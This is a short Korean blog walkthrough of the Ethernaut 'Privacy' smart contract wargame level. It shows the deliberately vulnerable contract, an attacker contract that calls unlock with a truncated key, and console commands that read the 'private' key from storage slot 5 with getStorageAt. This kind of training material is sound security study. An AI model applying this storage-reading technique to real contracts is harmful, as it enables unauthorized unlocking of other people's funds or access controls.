본문 바로가기

블록체인/Ethernaut

[Ethernaut] 12. Privacy

소스코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

 

목표

잠금 해제

 

방법

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Privacy.sol";


contract PrivacyAttack {
    Privacy target;
    constructor(address _targetAdr) public {
        target = Privacy(_targetAdr);
        
    }

    function attack(bytes32 _key) public {
        target.unlock(bytes16(_key));

    }


}

콘솔에서

1. let adr = await contract.address

2. await web3.eth.getStorageAt(adr, 5, function(err, result) { console.log(result);}) (attack param)

 

해설

 

 

'블록체인 > Ethernaut' 카테고리의 다른 글

[Ethernaut] 14. Gatekeeper Two  (0) 2022.06.10
[Ethernaut] 13. Gatekeeper One  (0) 2022.06.08
[Ethernaut] 11. Elevator  (0) 2022.06.06
[Ethernaut] 10. Re-entrancy  (0) 2022.06.05
[Ethernaut] 9. King  (0) 2022.06.04